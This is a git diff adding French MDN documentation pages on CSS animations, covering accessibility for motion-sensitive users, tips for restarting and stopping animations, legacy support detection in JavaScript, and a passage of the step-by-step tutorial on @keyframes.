+<p>Les animations qui clignotent ou scintillent sont problématiques et notamment pour les personnes souffrant de problèmes cognitifs. De plus, certains types de mouvement peuvent déclencher des désordres vestibulaires, des épilepsies, des migraines ou une sensibilité scotopique.</p>
+
+<p>Veillez à fournir un mécanisme qui permette d'interrompre ou de désactiver l'animation ainsi qu'à utiliser <a href="/fr/docs/Web/CSS/@media/prefers-reduced-motion">une requête média avec <code>prefers-reduced-motion</code></a> pour les mouvements réduits afin d'obtenir une ergonomie complémentaire pour les personnes souhaitant ne pas avoir d'animations.</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity"><em>Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article</em> (en anglais)</a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/"><em>An Introduction to the Reduced Motion Media Query - CSS-Tricks</em> (en anglais)</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/"><em>Responsive Design for Motion - WebKit</em> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">Comprendre les règles WCAG 2.2</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2 - W3C Understanding WCAG 2.0 (en anglais)</a></em></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation', 'animation')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.animation")}}</p>
+
+<h3 id="Notes_relatives_à_Quantum_(Firefox)">Notes relatives à Quantum (Firefox)</h3>
+
+<ul>
+ <li>Gecko possède un bug qui fait que lorsqu'on anime un élément en dehors de l'écran pour le faire apparaître à l'écran après une durée donnée, il n'effectue pas de <em>repaint</em> sur certaines plateformes (par exemple Windows, cf. ({{bug(1383239)}})). Ce problème a été corrigé avec le nouveau moteur de rendu CSS, <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, prévu pour Firefox 57.</li>
+ <li>Un autre bug empêche d'ouvrir les éléments {{htmlelement("details")}} par défaut avec l'attribut <code>open</code> si ceux-ci sont animés (cf. {{bug(1382124)}}). Cet autre point est également résolu avec Stylo.</li>
+ <li>Un autre bug ne répercute pas les modifications de {{cssxref("font-size")}} sur les animations qui utilisent l'unité <code>em</code> pour l'élément parent (cf. {{bug(1254424)}}). Stylo règle ce problème.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/fr/web/css/animations_css/conseils/index.html b/files/fr/web/css/animations_css/conseils/index.html
new file mode 100644
index 0000000000..bb79f19722
--- /dev/null
+++ b/files/fr/web/css/animations_css/conseils/index.html
@@ -0,0 +1,165 @@
+---
+title: Trucs et astuces pour les animations CSS
+slug: Web/CSS/Animations_CSS/Conseils
+tags:
+  - Animations CSS
+  - CSS
+  - Exemple
+  - Guide
+  - Tutoriel
+translation_of: Web/CSS/CSS_Animations/Tips
+---
+<div>{{CSSRef}}</div>
+
+<p>Les animations CSS permettent de réaliser réaliser des effets incroyables en mainpulant les éléments de vos documents et applications.. Cependant, il est parfois compliqué d'obtenir l'effet désiré. Dans cet article, on explorera différents conseils visant à simplifier la réalisation d'animations.</p>
+
+<h2 id="Relancer_une_animation">Relancer une animation</h2>
+
+<p>La spécifications des <a href="/en-US/docs/Web/CSS/CSS_Animations">animations CSS</a> ne permet pas de relancer une animation. Il n'existe pas de méthode <code>resetAnimation()</code> qui puisse être appelée sur les éléments et on ne peut pas utiliser la propriété {{cssxref("animation-play-state")}} pour la redéfinir sur <code>"running"</code>. Pour obtenir cet effet qui permette de relancer une animation terminée, on utilisera cette astuce.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Tout d'abord, on définit l'animation avec des règles CSS (certaines règles superflues sont masquées ici à des fins de concision).</p>
+
+<div class="hidden">
+<pre class="brush: css">.runButton {
+  cursor: pointer;
+  width: 300px;
+  border: 1px solid black;
+  font-size: 16px;
+  text-align: center;
+  margin-top: 12px;
+  padding-top: 2px;
+  padding-bottom: 4px;
+  color: white;
+  background-color: darkgreen;
+  font: 14px "Open Sans", "Arial", sans-serif;
+}</pre>
+</div>
+
+<pre class="brush: css">@keyframes colorchange {
+  0% { background: yellow }
+  100% { background: blue }
+}
+
+.box {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+}
+
+.changing {
+  animation: colorchange 2s;
+}</pre>
+
+<p>On a deux classes qui sont définies. La classe <code>box</code> qui décrit l'apparence de la boîte, sans aucune information relative à l'animation. Les détails de l'animation sont inclus dans la classe <code>changing</code> qui indique que les {{cssxref("@keyframes")}} intitulées <code>colorchange</code> doivent être utilisées sur une période de deux secondes afin d'animer la boîte.</p>
+
+<p>Si on n'utilise que ces règles, la boîte n'est pas animée lorsqu'elle s'affiche.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Voici le fragment de HTML où on utilise un élément {{HTMLElement("div")}} qu'on veut animer et un bouton pour lancer (ou relancer) l'animation.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+&lt;/div&gt;
+
+&lt;div class="runButton" onclick="play()"&gt;Cliquer pour lancer l'animation&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Enfin, voyons le JavaScript qui sera utilisé. Cette technique repose principalement sur la fonction <code>play()</code> qui est appelée lorsque l'utilisateur clique sur le bouton.</p>
+
+<pre class="brush: js">function play() {
+  document.querySelector(".box").className = "box";
+  window.requestAnimationFrame(function(time) {
+    window.requestAnimationFrame(function(time) {
+      document.querySelector(".box").className = "box changing";
+    });
+  });
+}</pre>
+
+<p>Cela paraît un peu étrange. Mais afin que l'animation soit lancée à nouveau, il faut : retirer l'effet d'animation, lancer le recalcul des styles dans le document pour que cette action soit enregistrée puis ajouter l'animation à nouveau sur l'élément.</p>
+
+<p>Voici ce qui se produit lorsque la fonction <code>play()</code> est appelée :</p>
+
+<ol>
+ <li>On réinitialise la liste des classes CSS de la boîte avec uniquement <code>box</code>. Ce faisant, on retire toutes les autres classes qui s'appliquaient à la boîte, y compris la classe <code>changing</code> en charge de l'animation. Autrement dit, on retire l'effet d'animation. Toutefois, ces modifications de classes n'auront pas d'effet tant que les styles ne sont pas recalculés et qu'un rafraîchissement est réalisé pour appliquer ces modifications.</li>
+ <li>Afin de s'assurer que les styles sont recalculés, on utilise {{domxref("window.requestAnimationFrame()")}} en définissant une fonction de rappel (<em>callback</em>). La fonction de rappel est exécutée juste avant le prochain rafraîchissement du document. Seul problème : avant le rafraîchissement, le recalcul des styles n'a pas encore eu lieu. Aussi…</li>
+ <li>Notre fonction de rappel invoque à nouveau <code>requestAnimationFrame()</code> ! Cette fois, la fonction de rappel est lancée avant le prochain rafraîchissement qui aura lieu après le recalcul des styles. Dans cette nouvelle fonction de rappel, on ajoute la classe <code>changing</code> à la boîte afin que l'animation soit lancée lors du rafraîchissement.</li>
+</ol>
+
+<p>Bien entendu, on ajoutera également un gestion d'événement au bouton pour que l'ensemble soit bien branché :</p>
+
+<pre class="brush: js">document.querySelector(".runButton").addEventListener("click", play, false);</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Relancer_une_animation', 320, 160)}}</p>
+
+<h2 id="Arrêter_une_animation">Arrêter une animation</h2>
+
+<p>Si on retire la propriété {{cssxref("animation-name")}} appliquée à un élément, l'animation s'arrêtera au prochain état défini. Si on souhaite plutôt que l'animation se termine et parvienne à un point d'arrêt, il faudra utiliser une autre approche. Voici quelques pistes :</p>
+
+<ol>
+ <li>L'animation doit être la plus isolée possible et on ne doit pas reposer sur  <code>animation-direction: alternate</code>. Il faut une animation explicitement séquencée qui parcourt l'ensemble de l'animation en un cycle.</li>
+ <li>Utiliser JavaScript pour retirer l'animation lorsque l'évènement <code>animationiteration</code> se déclenche.</li>
+</ol>
+
+<p>Ces pistes sont utilisées dans la démonstration suivante :</p>
+
+<h3 id="CSS_2">CSS</h3>
+
+<pre class="brush: css">.slidein {
+  animation-duration: 5s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+.stopped {
+  animation-name: none;
+}
+
+@keyframes slidein {
+  0% {
+    margin-left: 0%;
+  }
+  50% {
+    margin-left: 50%;
+  }
+  100% {
+    margin-left: 0%;
+  }
+}
+</pre>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;h1 id="watchme"&gt;Cliquer pour arrêter&lt;/h1&gt;
+</pre>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">let watchme = document.getElementById('watchme')
+
+watchme.className = 'slidein'
+const listener = (e) =&gt; {
+  watchme.className = 'slidein stopped'
+}
+watchme.addEventListener('click', () =&gt;
+  watchme.addEventListener('animationiteration', listener, false)
+)
+</pre>
+
+<h3 id="Résultat_2">Résultat</h3>
+
+<p>{{EmbedLiveSample("Arrêter_une_animation")}}</p>
+
+<p><a href="https://jsfiddle.net/morenoh149/5ty5a4oy/">Voir cette démo</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS">Les animations CSS</a></li>
+ <li>{{domxref("Window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/fr/web/css/animations_css/détecter_la_prise_en_charge_des_animations_css/index.html b/files/fr/web/css/animations_css/détecter_la_prise_en_charge_des_animations_css/index.html
new file mode 100644
index 0000000000..a2cb1bd5a3
--- /dev/null
+++ b/files/fr/web/css/animations_css/détecter_la_prise_en_charge_des_animations_css/index.html
@@ -0,0 +1,99 @@
+---
+title: Détecter la prise en charge des animations CSS
+slug: Web/CSS/Animations_CSS/Détecter_la_prise_en_charge_des_animations_CSS
+tags:
+  - Avancé
+  - CSS
+  - Obsolete
+translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
+---
+<div>{{CSSRef}}{{obsolete_header}}</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> Les techniques décrites dans cet article sont obsolètes et peuvent être remplacées par l'utilisation de {{cssxref("@supports")}}.</p>
+</div>
+
+<p>Avec les animations CSS, on peut ajouter des animations sur du contenu, uniquement en utilisant CSS. Toutefois, cette fonctionnalité n'est parfois pas disponible et on souhaiterait alors pouvoir gérer ce cas et appliquer un effet similaire avec JavaScript. Cet article, <a href="https://hacks.mozilla.org/2011/09/detecting-and-generating-css-animations-in-javascript/">basé sur ce billet de Christian Heilmann</a>, illustre une technique pour détecter la prise en charge des animations CSS.</p>
+
+<h2 id="Détecter_la_prise_en_charge_des_animations_CSS">Détecter la prise en charge des animations CSS</h2>
+
+<p>Ce code JavaScript permet de vérifier que les animations CSS peuvent être utilisées dans le navigateur :</p>
+
+<pre class="brush: js">var animation = false,
+  animationstring = 'animation',
+  keyframeprefix = '',
+  domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
+  pfx  = '',
+  elem = document.createElement('div');
+
+if( elem.style.animationName !== undefined ) { animation = true; }
+
+if( animation === false ) {
+  for( var i = 0; i &lt; domPrefixes.length; i++ ) {
+    if( elem.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
+      pfx = domPrefixes[ i ];
+      animationstring = pfx + 'Animation';
+      keyframeprefix = '-' + pfx.toLowerCase() + '-';
+      animation = true;
+      break;
+    }
+  }
+}
+</pre>
+
+<p>Pour commencer, on définit quelques variables et on part de l'hypothèse que les animations ne sont pas prises en charge en définissant <code>animation</code> avec <code>false</code>. On utilise la chaîne de caractères <code>animationstring</code> avec la valeur "animation" car celle-ci représentera le nom de la propriété qu'on souhaite définir. On crée également un tableau contenant les préfixes des différents navigateurs afin de pouvoir parcourir ces différents cas et qu'on utilisera avec la variable <code>pfx</code> qu'on définit pour le moment avec la chaîne vide.</p>
+
+<p>Ensuite, on vérifie si la propriété CSS {{cssxref("animation-name")}}  on est définie sur l'élément représenté par la variable <code>elem</code>. Cela signifie alors que le navigateur prend en charge les animations CSS sans préfixe.</p>
+
+<p>Si le navigateur ne prend pas en charge la version sans préfixe et que <code>animation</code> vaut toujours <code>false</code>, on parcourt les différents préfixes des principaux navigateurs et on modifie le nom de <code>AnimationName</code> de la même façon.</p>
+
+<p>Une fois que ce code a fini son exécution, la valeur de <code>animation</code> sera <code>false</code> si les animations ne sont pas prises en charge ou <code>true</code> si <code>animation</code> est le bon nom et que le préfixe est correct. Pour les préfixes, on fera attention à la variation entre le <em>camelCase</em> (ex. <code>MozAnimation</code>) et les tirets (<code>-moz-x</code>).</p>
+
+<h2 id="Appliquer_des_animations_avec_la_bonne_syntaxe_selon_le_navigateur">Appliquer des animations avec la bonne syntaxe selon le navigateur</h2>
+
+<p>Maintenant qu'on sait que les animations CSS sont prises en charge, on peut appliquer des animations :</p>
+
+<pre class="brush: js">if( animation === false ) {
+
+  // on utilise JavaScript en fallback
+
+} else {
+  elem.style[ animationstring ] = 'rotate 1s linear infinite';
+
+  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
+                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
+                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
+                  '}';
+
+  if( document.styleSheets &amp;&amp; document.styleSheets.length ) {
+
+      document.styleSheets[0].insertRule( keyframes, 0 );
+
+  } else {
+
+    var s = document.createElement( 'style' );
+    s.innerHTML = keyframes;
+    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
+
+  }
+
+}
+</pre>
+
+<p>Ce code utilise la valeur d'<code>animation</code> : si c'est <code>false</code>, on utilise JavaScript pour recréer l'effet de l'animation. Sinon, on utilise JavaScript pour manipuler les animations CSS.</p>
+
+<p>Pour définir la propriété d'animation, il suffit de mettre à jour la valeur dans la collection de style. Cependant, c'est un peu plus compliqué de gérer les étapes/<em>keyframes</em> car elles n'utilisent pas la syntaxe CSS traditionnelle.</p>
+
+<p>Pour définir les étapes de l'animation avec JavaScript, il faut les écrire dans une chaîne de caractères CSS. On définit alors une variable <code>keyframes</code> qu'on construit avec le préfixe à utiliser. Une fois construite, cette variable contient la description complète des différentes étapes nécessaires à la description.</p>
+
+<p>Ensuite, il faut ajouter les étapes au CSS de la page. Pour commencer, on regarde s'il n'y a pas déjà une feuille de style associée au document et si c'est le cas, on ajoute la description des étapes dans la feuille de style (cf. les lignes 13 et 15 du fragment de code ci-avant).</p>
+
+<p>S'il n'y aucune feuille de style pré-existante, on crée un nouvel élément {{HTMLElement("style")}} et on remplit son contenu avec la valeur des étapes. Ensuite, on insère ce nouvel élément {{HTMLElement("style")}} dans l'élément {{HTMLElement("head")}} du document ce qui ajoute la nouvelle feuille de style au document.</p>
+
+<p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">Voir dans JSFiddle</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">Les animations CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/animations_css/index.html b/files/fr/web/css/animations_css/index.html
new file mode 100644
index 0000000000..acc7ab6997
--- /dev/null
+++ b/files/fr/web/css/animations_css/index.html
@@ -0,0 +1,81 @@
+---
+title: Les animations CSS
+slug: Web/CSS/Animations_CSS
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>animations CSS</strong> sont un module CSS qui définit la façon dont les valeurs des propriétés CSS peuvent être animées au fur et à mesure d'une période via des étapes intermédiaires (<em>keyframes</em> en anglais). Le comportement de ces animations séquencées peut être défini en termes de durée, de nombre de répétitions et de la façon dont elles sont répétées.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="Règles_CSS">Règles @ CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Détecter la prise en charge des animations CSS</a></dt>
+ <dd>Cet article décrit une technique permettant de détecter si le navigateur prend en charge les animations CSS.</dd>
+ <dt><a href="/fr/docs/Web/CSS/CSS_Animations/Utiliser_les_animations_CSS">Manipuler les animations CSS</a></dt>
+ <dd>Un tutoriel pas-à-pas qui explique comment créer des animations CSS. Cet article décrit les différentes propriétés et règles @ relatives aux animations et comment elles interagissent.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Animations_CSS/Conseils">Conseils pour les animations CSS</a></dt>
+ <dd>Des conseils et astuces pour tirer le meilleur parti des animations CSS. Dans cet article, on décrit une technique qui permet de relancer une animation qui a déjà été exécutée, ce que l'API ne permet pas de faire nativement.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<h3 id="Propriété_animation">Propriété <code>animation</code></h3>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.animation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions">Les transitions CSS</a> qui permettent de déclencher des animations suite à des actions utilisateur.</li>
+</ul>
diff --git a/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html b/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html
new file mode 100644
index 0000000000..4010492e3d
--- /dev/null
+++ b/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html
@@ -0,0 +1,363 @@
+---
+title: Utiliser les animations CSS
+slug: Web/CSS/Animations_CSS/Utiliser_les_animations_CSS
+tags:
+  - Avancé
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<div>{{CSSRef}}</div>
+
+<p>Les <strong>animations CSS</strong> permettent de créer des transitions entre deux états de mise en forme. Une animation est décrite par deux choses : des propriétés propres à l'animation d'une part et un ensemble d'étapes (<em>keyframes</em>) qui indiquent l'état initial, final et éventuellement des états intermédiaires d'autre part.</p>
+
+<p>Trois avantages permettent de distinguer les animations CSS des techniques d'animations utilisant JavaScript :</p>
+
+<ol>
+ <li>On peut aisément obtenir des animations simples sans avoir à connaître JavaScript.</li>
+ <li>Les animations s'exécuteront correctement même lorsque le système est soumis à une charge modérée. Il est possible que des animations JavaScript s'exécutent lentement si elles sont mal décrites. Dans le cadre des animations CSS, le moteur de rendu peut utiliser certaines techniques (comme le <em>frame-skipping</em>) afin que le résultat obtenu soit aussi fluide que possible.</li>
+ <li>En laissant le contrôle de l'animation au navigateur, celui-ci peut optimiser les performances et l'efficacité du système, par exemple en réduisant la fréquence de mise à jour des animations qui sont exécutées dans des onglets qui ne sont pas visibles à l'écran.</li>
+</ol>
+
+<h2 id="Paramétrer_l'animation">Paramétrer l'animation</h2>
+
+<p>Pour créer une animation CSS, il faut utiliser la propriété raccourcie {{cssxref("animation")}} ou les propriétés détaillées correspondantes sur un ou plusieurs éléments. Cette propriété permet de configurer la durée, le minutage et d'autres détails à propos de l'animation. <strong>Attention, cela ne détermine pas l'apparence visuelle de l'animation.</strong> Celle-ci est définie en utilisant des règles CSS de mise en forme au sein de la règle @ {{cssxref("@keyframes")}} comme décrit ci-après.</p>
+
+<p>Les propriétés détaillées rattachées à la propriété raccourcie {{cssxref("animation")}} sont :</p>
+
+<dl>
+ <dt>{{cssxref("animation-delay")}}</dt>
+ <dd>Cette propriété définit le délai entre le moment où l'élément est chargé et le moment où l'animation commence.</dd>
+ <dt>{{cssxref("animation-direction")}}</dt>
+ <dd>Cette propriété indique si l'animation doit alterner entre deux directions de progressions (faire des allers-retours) ou recommencer au début à chaque cycle de répétition.</dd>
+ <dt>{{cssxref("animation-duration")}}</dt>
+ <dd>Cette propriété définit la durée d'un cycle de l'animation.</dd>
+ <dt>{{cssxref("animation-fill-mode")}}</dt>
+ <dd>Cette propriété indique les valeurs qui doivent être appliquées aux propriétés avant et après l'exécution de l'animation.</dd>
+ <dt>{{cssxref("animation-iteration-count")}}</dt>
+ <dd>Cette propriété détermine le nombre de fois que l'animation est répétée. On peut utiliser le mot-clé <code>infinite</code> afin de répéter une animation infiniment.</dd>
+ <dt>{{cssxref("animation-name")}}</dt>
+ <dd>Cette propriété permet de déclarer un nom qui pourra être utilisé comme référence à l'animation pour la règle @ {{cssxref("@keyframes")}}.</dd>
+ <dt>{{cssxref("animation-play-state")}}</dt>
+ <dd>Cette propriété permet d'interrompre (« pause ») ou de reprendre l'exécution d'une animation.</dd>
+ <dt>{{cssxref("animation-timing-function")}}</dt>
+ <dd>Cette propriété configure la fonction de minutage d'une animation, autrement dit comment celle-ci accélère entre l'état initial et l'état final notamment grâce à des fonctions décrivant des courbes d'accélération.</dd>
+</dl>
+
+<h2 id="Définir_les_étapes_composant_une_animation_(keyframes)">Définir les étapes composant une animation (<code>@keyframes</code>)</h2>
+
+<p>Une fois qu'on a définit les propriétés propres à l'animation, on doit définir la mise en forme qui évolue lors de cette animation. Pour cela on définit deux étapes ou plus grâce à la règle @ {{cssxref("@keyframes")}}. Chaque étape décrit la façon dont l'élément animé doit être affiché à un instant donné lors de l'animation.</p>
+
+<p>La durée de l'animation est définie avant et la règle <code>@keyframes</code> utilise donc des valeurs exprimées en pourcentages (type CSS {{cssxref("percentage")}}) pour indiquer l'instant correspondant à cet état. 0% indique l'état initial de l'animation et 100% indique l'état final. Ces deux états étant très important, il existe deux alias pour les décrire : <code>from</code> et <code>to</code>. Ces états sont optionnels et si <code>from</code>/<code>0%</code> ou <code>to</code>/<code>100%</code> ne sont pas définis, le navigateur utilisera les valeurs calculées des différentes propriétés.</p>
+
+<p>Il est également possible d'ajouter des étapes intermédiaires, entre l'état initial et l'état final de l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<div class="note"><strong>Note :</strong> Les exemples ci-après n'utilisent pas la version préfixée des propriétés liées aux animations. Il est possible que d'anciens navigateurs (antérieurs à 2017) aient besoin de ces préfixes pour fonctionner auquel cas l'exemple « <em>live</em> » ne fonctionnera pas.</div>
+
+<h3 id="Utiliser_une_animation_pour_que_le_texte_traverse_la_fenêtre_du_navigateur">Utiliser une animation pour que le texte traverse la fenêtre du navigateur</h3>
+
+<p>Dans cet exemple simple, on met en forme l'élément {{HTMLElement("p")}} afin que le texte passe de la droite vers la gauche de l'écran</p>
+
+<p>On notera que les animations comme celle-ci peuvent agrandir la page qui sera alors plus grande que la fenêtre du navigateur. Pour éviter ce problème, on pourra placer l'élément animé dans un conteneur et utiliser {{cssxref("overflow")}}<code>:hidden</code> sur ce conteneur.</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<p>Dans cet exemple, on indique dans les propriétés de {{HTMLElement("p")}} que l'animation doit durer trois secondes entre le début et la fin (c'est le rôle de {{cssxref("animation-duration")}}) et que le nom utilisé par la règle @ {{cssxref("@keyframes")}} pour faire référence à cette animation sera <code>slidein</code>.</p>
+
+<p>Ici, on ne souhaite illustrer que les animations mais on aurait très bien pu avoir d'autres règles « classiques » pour d'autres propriétés à déclarer sur l'élément.</p>
+
+<p>Les étapes (<em>keyframes</em>) de l'animation sont définies via la règle @ {{cssxref("@keyframes")}}. Dans ce premier exemple, on a uniquement deux étapes. La première décrit l'état à 0% (on utilise l'alias <code>from</code>). Pour cet état initial, on veut que la marge gauche de l'élément soit à 100% (c'est-à-dire tout à droite de l'élément englobant) et que la largeur de l'élément soit de 300% (soit trois fois la largeur de l'élément englobant). Cela permet que le contenu soit dessiné hors de la fenêtre lors de l'état initial.</p>
+
+<p>La seconde, et dernière, étape, se produit à 100% d'avancement (dans l'exemple, on utilise l'alias <code>to</code>). Pour cet état, la marge gauche vaut 0% et la largeur de l'élément vaut 100%. De cette façon le contenu finit sa course contre le borde gauche de la zone de contenu.</p>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.</p>
+</div>
+
+<p>{{EmbedLiveSample("Définir_les_étapes_composant_une_animation_(@keyframes)","100%","250")}}</p>
+
+<h3 id="Ajouter_une_autre_étape">Ajouter une autre étape</h3>
+
+<p>Ajoutons une autre étape à partir de l'animation précédente. Ici, nous allons agrandir la taille de police utilisée lorsque l'élément arrive de la droite avant qu'elle ne réduise à nouveau pour revenir à la taille originale une fois arrivée la fin de l'animation. Pour cela, on ajoute une étape dans la règle @ <code>@keyframes</code> :</p>
+
+<pre class="brush: css">75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+</pre>
+
+<pre class="brush: css hidden">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  75% {
+    font-size: 300%;
+    margin-left: 25%;
+    width: 150%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>Cette nouvelle étape indique au navigateur que, lorsqu'on atteint 75% d'avancement, il faut que la marge à gauche soit de 25% et que la largeur du paragraphe représente 150% de la largeur de l'élément englobant.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.</p>
+</div>
+
+<p>{{EmbedLiveSample("Ajouter_une_autre_étape","100%","250")}}</p>
+
+<h3 id="Répéter_une_animation">Répéter une animation</h3>
+
+<p>Pour que l'animation se répète, il suffit d'utiliser la propriété {{cssxref("animation-iteration-count")}} et d'indiquer le nombre de répétitions souhaitées. Ici, on utilise la valeur <code>infinite</code> pour que l'animation se répète à l'infini :</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+</pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Répéter_une_animation","100%","250")}}</p>
+
+<h3 id="Obtenir_un_effet_aller-retour">Obtenir un effet aller-retour</h3>
+
+<p>On a donc une animation qui se répète mais on obtient un résultat étrange, l'animation redémarre à chaque fois depuis l'état initial. Si on veut que le texte parcourt l'écran de droite à gauche puis de gauche à droite, on pourra utiliser la propriété {{cssxref("animation-direction")}} avec la valeur <code>alternate</code> :</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+</pre>
+
